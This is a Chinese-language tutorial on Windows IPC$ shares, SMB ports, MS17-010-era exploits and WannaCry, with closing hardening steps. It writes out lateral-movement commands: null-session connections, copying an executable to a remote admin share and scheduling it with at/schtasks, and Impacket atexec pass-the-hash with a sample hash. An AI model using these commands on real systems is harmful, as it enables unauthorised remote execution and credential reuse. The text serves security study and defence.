??不同的进程各自有着不同的地址空间,每个进程的全局变量对其它进程是透明的。因此进程间要进行数据交互就要通过内核,在内核中开辟一块缓冲区,每个进程只需把要共享的数据拷贝到缓冲区即可,内核提供的这种机制称为进程间通信(IPC)
共享命名管道
??关于进程间通信(InterProcess Communication),管道和共享内存为大家所熟知,包括匿名管道和命名管道。Windows系统的IPC$其实就命名管道的一种应用,考虑到它用于不同设备间通信,所以可以翻译为Internet Process Connection,是共享命名管道。通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 ??IPC$是Windows 2000(内核版本号为NT 5.0)新增的功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。Windows 2000在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。 ??(备注:Windows 2000有人称为NT2000,其实并不准确。Windows刚诞生的时候,还没有“NT(New Technology)”这一说法。那时Windows是基于DOS(磁盘操作系统),DOS没有图形用户界面的,可以理解为现在的命令提示符。后来图形用户界面成为主流,Windows则采用了OS/2。OS/2拥有图形用户界面,此时Windows的内核版本开始以NT命名。当时Windows系统的名称和内核版本号一致,即内核版本号是NT3.1,系统的名称就是Windows NT3.1。这一规则到Windows 2000时发生了变化。内核版本号依然延续传统,如果不是大的版本更新,内核版本号一直是在小数点后面变化。比如Windows 2000的内核版本号为NT5.0,Windows XP的内核版本号为NT5.1。后来的Windows Vista,内核版本号升级为NT6.0,之后Windows 7(NT6.1)、Windows 8(NT6.3)都是小数点后变化。但到了Windows 10,微软直接将内核版本号升级为NT10.0,变化十分大。版本号在一定程度上能够说明系统之间的代数关系,但到了Windows 10这边,就不用那么认真了。)
??为了配合IPC共享工作,Windows操作系统在安装完成后,自动设置共享的目录为:所有的盘符+Admin目录(C:\Windows)等,即ADMIN
、
C
、C
、C、D$等。查看开启的共享,如图:
IPC连接
空连接
??在Windows系统中,安全会话的建立依靠NTLM网络认证机制。NTLM是一种基于质询/应答 (Challenge/Response )消息交换模式的认证机制,常用于工作组和域环境下登录场景的身份认证。 ??空会话是指在没有信任的情况下建立的会话(即未提供用户名与密码)。那么空会话可以做什么呢?利用IPC$,攻击者可以与目标主机建立一个空的连接,而无需用户名与密码(前提是对方机器开了IPC$共享),而利用这个空的连接,攻击者可以得到目标主机上的用户列表(前提是管理员没有禁止导出用户列表)。建立了一个空的连接后,攻击者可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享。如果黑客能够以某一个具有一定权限的用户身份登陆的话,那么就会得到相应的权限。
net use \\192.168.110.25\ipc$ "" /user:""
??使用上述命令建立空连接,不过在Windows10系统会报错,因为微软加强了安全性,取消了空连接。连接时报:“发生系统错误 5。” ?? 以前建立空会话可以获取一些有用的信息,后来空会话的权限很低,任何访问都会被拒绝。 现在连空连接都无法建立了。 之前一篇文章有提到永恒之蓝: 永恒之蓝漏洞攻击 当时并没有很详细的解释,其实对应与编号MS17-010漏洞的病毒不止永恒之蓝一个,而是有很多变体。首先我们来了解一些基础知识:
- SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务; NBT:(NETBIOS Over
- TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
- 在Windows2000之前,SMB基于NBT实现,即使用139(TCP)端口;而在WindowsNT中,SMB除了基于NBT实现,还可以直接通过445端口实现。
从 Windows 95 开始,Microsoft Windows 操作系统支持 SMB 协议 ,但是由于SMB由于有漏洞。所以在Windows Vista之后,Windows开始使用 SMBv2 协议。而Windows XP和Windows Server2003及其之前的机器都是用的SMBv1协议。Windows10基本都用的SMBv3协议。
??对于winNT客户端(发起端)来说:
??对于winNT服务器端来说:
名称 | 影响 |
---|
ETERNALROMANCE | SMB和NBT漏洞,对应MS17-010编号,针对139和445端口发起攻击,影响范围:Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 | EMERALDTHREAD | SMB和NETBIOS漏洞,对应MS10-061漏洞,针对139和445端口,影响范围:Windows XP、Windows 2003 | EDUCATEDSCHOLAR | SMB服务漏洞,对应MS09-050漏洞,针对445端口 | ERRATICGOPHER | SMBv1服务漏洞,针对445端口,影响范围:Windows XP、 Windows server 2003,不影响windows Vista及之后的操作系统 | ETERNALBLUE | SMBv1、SMBv2漏洞,对应MS17-010,针对445端口,影响范围:较广,从WindowsXP到Windows 2012 | ETERNALSYNERGY | SMBv3漏洞,对应MS17-010,针对445端口,影响范围:Windows8、Server2012 | ETERNALCHAMPION | SMB v2漏洞,针对445端口 |
??WannaCry主要利用了微软“视窗”系统的漏洞,以获得自动传播的能力,能够在数小时内感染一个系统内的全部电脑。勒索病毒被漏洞远程执行后,会从资源文件夹下释放一个压缩包,此压缩包会在内存中通过密码:WNcry@2ol7解密并释放文件。这些文件包含了后续弹出勒索框的exe,桌面背景图片的bmp,包含各国语言的勒索字体,还有辅助攻击的两个exe文件。这些文件会释放到了本地目录,并设置为隐藏。(注释:说明一下,“永恒之蓝”是NSA泄露的漏洞利用工具的名称,并不是该病毒的名称。永恒之蓝”是指NSA泄露的危险漏洞“EternalBlue”,此次的勒索病毒WannaCry是利用该漏洞进行传播的,当然还可能有其他病毒也通过“永恒之蓝”这个漏洞传播,因此给系统打补丁是必须的。)
http://www.wuqibaike.com/index.php?doc-view-21562
Windows默认开放135、137、138、139和445五个端口,主要是方便初级用户操作,即不进行必要的设置就可以使用网络通信和各种共享服务。但这样一来,用户不希望启动或者用不到的一些服务都会随机启动,主机连接因特网后会在用户不知晓的情况下泄露本机信息。因此我们应尽可能的多了解一些这些端口的作用,权衡端口开放的利与弊,然后制定相应的安全策略。
非空连接
net use \\192.168.110.25\ipc$ "密码" /user:"用户名"
或者 net use \\192.168.110.25 再按照提示输入用户名和密码
使用命令:net use ,可以查看已经建立的连接。
-
使用管理员组内用户建立的IPC$连接,可以执行以下所有命令。 -
使用普通用户(不在管理员组里)建立的IPC$连接,仅能执行查看时间命令:net time \192.168.0.111 ,其他命令均执行不了。 -
此规则在新版的Windows10已经有了改变。现在的20H1以后版本均只有administrator账户建立的连接,才可以执行全部命令,其余账户均无法执行除 net time以外的任何命令。
net use \\192.168.0.111\ipc$ /del 删除建立的连接
dir \\192.168.0.111\c$ 查看c盘目录
??当然也可以直接在文件资源管理器用命令:\192.168.10.131\c$ 查看对应的文件及目录,可以增删改查(和之前讲的smb文件共享一样)。
tasklist /S 192.168.0.111 /U administrator -P 密码
net time \\192.168.0.111
copy vps.exe \\192.168.10.131\c$
at \\192.168.10.131 17:00:00 C:\vps.exe
??不过Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,需要使用schtasks命令。
schtasks /create /s 192.168.0.111 /u administrator /p 密码 /sc once /tn "bingdian" /tr "d:\programfiles\fish.exe /st 10:11
??注意:使用该命令前提是本地计算机必须与远程计算机位于同一域中,或者必须位于远程计算机域信任的域中。否则会提示:“ 错误: 不支持该请求”。详情参考:schtasks文档
Linux连接
??虽然该功能出自于Windows,但是Linux系统也有办法与之建立连接。那就是Impacket套件。Impacket是用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。 ??Impacket中的atexec.py脚本,就是利用定时任务获取权限,该脚本的利用需要开启ipc$共享。这个脚本仅工作Windows>=Vista的系统上。这个样例能够通过任务计划服务(Task Scheduler)来在目标主机上实现命令执行,并返回命令执行后的输出结果 。
./atexec.py xie/hack:x123456./@192.168.10.130 whoami
./atexec.py xie/hack:@192.168.10.130 whoami -hashes aada8eda23213c027743e6c498d751aa:b98e75b5ff7a3d3ff05e07f211ebe7a8
关闭共享
当我们不需要共享时,可以执行以下命令进行关闭:
net share ipc$ /delete
net share c$ /delete
net share admin$ /delete
还有一种就是通过修改注册表的方式,路径是:
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
name:restrictanonymous
type: REG_DWORD
value:0(默认)
??restrictanonymous这个键是用来设置对匿名连接的额外限制管理的。一共可以有3个值:0,1,2。其中0是默认值,表示无限制,依靠默认的权限管理。值为1表示匿名用户无法列举本机用户列表;值为2表示匿名用户无法连接本机IPC$共享。但是不推荐通过修改该值来限制访问,可能会导致很多功能受到影响。因为很多 Windows Server服务和第三方程序都依赖匿名访问功能来执行合法任务。 ?? IPC$连接失败的原因及常见错误号: 1、连接失败原因
- 用户名或密码错误
- 目标主机没有开启IPC$共享
- 不能成功连接目标主机的139、445端口
- 命令输入错误
2、常见错误号
错误号5:拒绝访问
错误号51:Windows无法找到网络路径,及网络中存在问题
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
错误号1326:未知的用户名或错误的密码
错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
错误号2242:此用户的密码已经过期。
3、常用的共享命令
net use
net session
net share
net share ipc$
net share ipc$ /del
net share c$ /del
net use * /del
net use \\192.168.10.15
net use \\192.168.10.15\ipc$
net use \\192.168.10.15\ipc$ /u:"" ""
net view \\192.168.10.15
net use \\192.168.10.15 /u:"administrator" "root"
net use \\192.168.10.15 /del
net time \\192.168.10.15
net use \\192.168.10.15\c$ /u:"administrator" "root"
dir \\192.168.10.15\c$
dir \\192.168.10.15\c$\user\test.exe
net use \\192.168.10.15\c$ /del
net use k: \\192.168.10.15\c$ /u:"administrator" "root"
net use k: /del
|